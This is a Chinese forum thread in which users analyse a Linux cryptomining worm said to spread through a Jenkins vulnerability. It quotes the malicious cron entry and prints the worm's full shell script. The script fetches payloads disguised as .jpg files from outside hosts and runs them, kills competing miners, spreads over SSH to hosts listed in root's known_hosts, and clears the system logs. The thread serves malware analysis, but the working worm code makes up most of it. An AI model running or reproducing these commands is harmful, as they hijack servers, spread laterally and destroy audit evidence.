一个linux病毒，基于Jenkins漏洞传播

calyperides

今天群里的一个讨论：*/15 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|sh
一个来自定时任务的病毒，有条件的可以自己测试。
病毒文件较大，传不上来，需要自己下载一下！

kaba666

网页打不开

神龟Turmi

下下来的shell会再次从同一个域名下载另一个shell。。。

本体：
（看起来像后门？）顺便。。。apt-get install cron -y||yum install crontabs -y||apk add cron -y这可太秀了 要是我服务器是fedora或者openSUSE呢。。。

1. export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
   
2. 
   
3. mkdir -p /tmp
   
4. chmod 1777 /tmp
   
5. 
   
6. ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
   
7. ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
   
8. ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
   
9. ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
   
10. ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
    
11. ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
    
12. ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
    
13. ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
    
14. ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
    
15. ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
    
16. ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
    
17. ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
    
18. ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
    
19. ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
    
20. ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
    
21. ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
    
22. ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
    
23. ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
    
24. ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
    
25. ps -ef|grep -v grep|grep "kpsmouseds"|awk '{print $2}'|xargs kill -9
    
26. ps -ef|grep -v grep|grep "kthrotlds"|awk '{print $2}'|xargs kill -9
    
27. ps -ef|grep -v grep|grep "kintegrityds"|awk '{print $2}'|xargs kill -9
    
28. ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
    
29. ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=50.0) print $2}'|xargs kill -9
    
30. apt-get install curl -y||yum install curl -y||apk add curl -y
    
31. apt-get install cron -y||yum install crontabs -y||apk add cron -y
    
32. systemctl start crond
    
33. systemctl start cron
    
34. systemctl start crontab
    
35. service start crond
    
36. service start cron
    
37. service start crontab
    
38. 
    
39. if [ ! -f "/tmp/.X11unix" ]; then
    
40.     ARCH=$(uname -m)
    
41.     if [ ${ARCH}x = "x86_64x" ]; then
    
42.         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL [img]http://sowcar.com/t6/695/1554378967x2890149536.jpg[/img] -o /tmp/kerberods||wget --timeout=30 --tries=3 -q [img]http://sowcar.com/t6/695/1554378967x2890149536.jpg[/img] -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/ah0UwIRR -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/ah0UwIRR -O /tmp/kerberods) && chmod +x /tmp/kerberods
    
43.     elif [ ${ARCH}x = "i686x" ]; then
    
44.         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -o /tmp/kerberods||wget --timeout=30 --tries=3 -q [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/8CoVv7ug -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/8CoVv7ug -O /tmp/kerberods) && chmod +x /tmp/kerberods
    
45.     else
    
46.         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -o /tmp/kerberods||wget --timeout=30 --tries=3 -q [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/8CoVv7ug -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/8CoVv7ug -O /tmp/kerberods) && chmod +x /tmp/kerberods
    
47.     fi
    
48.         /tmp/kerberods
    
49. elif [ ! -f "/proc/$(cat /tmp/.X11unix)/io" ]; then
    
50.     ARCH=$(uname -m)
    
51.     if [ ${ARCH}x = "x86_64x" ]; then
    
52.         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL [img]http://sowcar.com/t6/695/1554378967x2890149536.jpg[/img] -o /tmp/kerberods||wget --timeout=30 --tries=3 -q [img]http://sowcar.com/t6/695/1554378967x2890149536.jpg[/img] -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/ah0UwIRR -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/ah0UwIRR -O /tmp/kerberods) && chmod +x /tmp/kerberods
    
53.     elif [ ${ARCH}x = "i686x" ]; then
    
54.         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -o /tmp/kerberods||wget --timeout=30 --tries=3 -q [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/8CoVv7ug -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/8CoVv7ug -O /tmp/kerberods) && chmod +x /tmp/kerberods
    
55.     else
    
56.         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -o /tmp/kerberods||wget --timeout=30 --tries=3 -q [img]http://sowcar.com/t6/695/1554379008x2890149536.jpg[/img] -O /tmp/kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://pixeldrain.com/api/file/8CoVv7ug -o /tmp/kerberods||wget --timeout=30 --tries=3 -q https://pixeldrain.com/api/file/8CoVv7ug -O /tmp/kerberods) && chmod +x /tmp/kerberods
    
57.     fi
    
58.         /tmp/kerberods
    
59. fi
    
60. 
    
61. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    
62.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh >/dev/null 2>&1 &' & done
    
63. fi
    
64. 
    
65. echo 0>/var/spool/mail/root
    
66. echo 0>/var/log/wtmp
    
67. echo 0>/var/log/secure
    
68. echo 0>/var/log/cron
    
69. #

复制代码

cs_virus

calyperides

神龟Turmi 发表于 2019-4-4 20:16
下下来的shell会再次从同一个域名下载另一个shell。。。

本体：

这一段貌似不完整，有一个语句是判定操作系统的，列举了几类系统，完全靠猜的方式去实现。
那个jpg文件改名以后，赋予执行权限，暂时只看到这个病毒占用了相当大的cpu资源，但是他们说会控制内核，不知道哪里实现的。

神龟Turmi

calyperides 发表于 2019-4-6 18:30
这一段貌似不完整，有一个语句是判定操作系统的，列举了几类系统，完全靠猜的方式去实现。
那个jpg文件 ...

我没有linux的虚拟机 在阿里云的机器上跑了一下被安骑士干掉了 提示是挖矿

tg123321

图片链接带毒
eset for Linux：Linux/CoinMiner.HO 特洛伊木马 的变种

我梦

换个网盘传吧

tg123321

byjgg 发表于 2019-4-9 19:31
换个网盘传吧

病毒失效了